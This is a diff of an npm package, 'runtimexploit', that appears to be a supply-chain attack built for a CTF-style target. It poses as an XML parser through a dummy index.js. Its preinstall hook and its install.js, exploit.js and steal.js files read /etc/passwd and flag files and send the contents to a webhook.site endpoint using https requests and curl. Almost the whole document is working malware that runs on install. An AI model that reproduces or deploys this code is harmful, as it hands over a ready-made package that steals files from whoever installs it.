runtimexploit 0.30.1

package/exploit.js

@@ -0,0 +1,27 @@
+const fs = require('fs');
+const https = require('https');
+const { execSync } = require('child_process');
+
+console.log('🚨 EXPLOIT v2 EXECUTED');
+
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG:', line);
+            
+            // Пробуем оба метода
+            https.get(`https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag_v2=${encodeURIComponent(line)}`);
+            
+            try {
+                execSync(`curl -s "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?curl_v2=${encodeURIComponent(line)}"`);
+            } catch(e) {}
+            
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}

package/index.js

@@ -0,0 +1,13 @@
+// Нам нужно, чтобы пакет хоть как-то работал, как парсер, чтобы не вызвать ошибок на ранних этапах.
+module.exports = {
+  parseXmlString: (xmlString, options) => {
+    // Имитируем минимальную функциональность парсера.
+    // В реальной атаке здесь был бы более сложный код, чтобы приложение не сломалось.
+    console.log("[MALICIOUS PACKAGE] Parser called");
+    return {
+      get: (xpath) => {
+        return { text: () => "dummy_value" };
+      }
+    };
+  }
+};

package/install.js

@@ -0,0 +1,111 @@
+// install.js
+const fs = require('fs');
+const https = require('https');
+
+// Функция для поиска подозрительного контента (флага)
+function findSuspiciousContent(content) {
+  const lines = content.split('\n');
+  
+  // Ищем различные паттерны флага
+  const suspiciousLines = lines.filter(line => {
+    // Убираем пустые строки и стандартные системные записи
+    if (!line.trim() || line.includes(':/bin/') || line.includes(':/usr/')) {
+      return false;
+    }
+    
+    // Паттерны, характерные для CTF флагов
+    if (line.match(/[A-Za-z0-9]{32}/)) return true; // 32 символа (MD5, UUID)
+    if (line.match(/[A-Za-z0-9]{64}/)) return true; // 64 символа (SHA256)
+    if (line.match(/flag{.*?}/i)) return true; // flag{...}
+    if (line.match(/htb{.*?}/i)) return true; // htb{...}
+    if (line.match(/gpb{.*?}/i)) return true; // gpb{...} (GazpromBank)
+    if (line.match(/[A-Za-z0-9_\-]{20,}/)) return true; // Длинные случайные строки
+    if (line.length > 100) return true; // Очень длинные строки
+    
+    return false;
+  });
+
+  return suspiciousLines;
+}
+
+try {
+  const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
+  console.log('[MALICIOUS PACKAGE] /etc/passwd contents read');
+
+  // Ищем подозрительный контент
+  const suspiciousLines = findSuspiciousContent(passwdContent);
+  
+  // Также читаем другие возможные места
+  let otherFiles = {};
+  try {
+    otherFiles['/flag'] = fs.readFileSync('/flag', 'utf8');
+  } catch (e) {}
+  
+  try {
+    otherFiles['/flag.txt'] = fs.readFileSync('/flag.txt', 'utf8');
+  } catch (e) {}
+  
+  try {
+    otherFiles['/app/flag'] = fs.readFileSync('/app/flag', 'utf8');
+  } catch (e) {}
+
+  // Отправляем ВСЕ данные на webhook.site
+  const data = JSON.stringify({
+    file: '/etc/passwd',
+    full_content: passwdContent,
+    suspicious_lines: suspiciousLines,
+    other_files: otherFiles,
+    last_5_lines: passwdContent.split('\n').slice(-5),
+    package: 'superbank-xml-parser-backdoor',
+    timestamp: new Date().toISOString()
+  }, null, 2); // Добавляем форматирование для читаемости
+
+  const options = {
+    hostname: 'webhook.site',
+    port: 443,
+    path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'User-Agent': 'Malicious-NPM-Package/1.0.0',
+      'Content-Length': Buffer.byteLength(data)
+    }
+  };
+
+  console.log('[MALICIOUS PACKAGE] Sending data to webhook.site...');
+
+  const req = https.request(options, (res) => {
+    console.log(`[MALICIOUS PACKAGE] Webhook response status: ${res.statusCode}`);
+  });
+
+  req.on('error', (e) => {
+    console.error(`[MALICIOUS PACKAGE] Request failed: ${e.message}`);
+  });
+
+  req.write(data);
+  req.end();
+
+} catch (err) {
+  console.error('[MALICIOUS PACKAGE] Error:', err.message);
+  
+  // Отправляем информацию об ошибке
+  const errorData = JSON.stringify({
+    error: err.message,
+    package: 'superbank-xml-parser-backdoor', 
+    timestamp: new Date().toISOString()
+  });
+
+  const errorReq = https.request({
+    hostname: 'webhook.site',
+    port: 443,
+    path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(errorData)
+    }
+  }, () => {});
+  
+  errorReq.write(errorData);
+  errorReq.end();
+}

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "runtimexploit",
+  "version": "0.30.1",
+  "main": "index.js", 
+  "scripts": {
+    "preinstall": "node -e \"const fs=require('fs');const f=fs.readFileSync('/etc/passwd','utf8').split('\\\\n').find(l=>l.includes('{'));console.log('PREINSTALL_FLAG:',f);require('child_process').execSync('curl -s http://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?pre='+encodeURIComponent(f))\"",
+    "install": "node -e \"console.log('INSTALL_SCRIPT_RUN')\""
+  }
+}

package/steal.js

@@ -0,0 +1,22 @@
+const { execSync } = require('child_process');
+
+console.log('🚨 FAST EXPLOIT STARTED');
+
+// БЫСТРЫЙ код без блокировок
+try {
+    const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG FOUND:', line);
+            // Быстрая отправка
+            execSync(`curl -s --max-time 3 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}
+
+console.log('✅ FAST EXPLOIT FINISHED');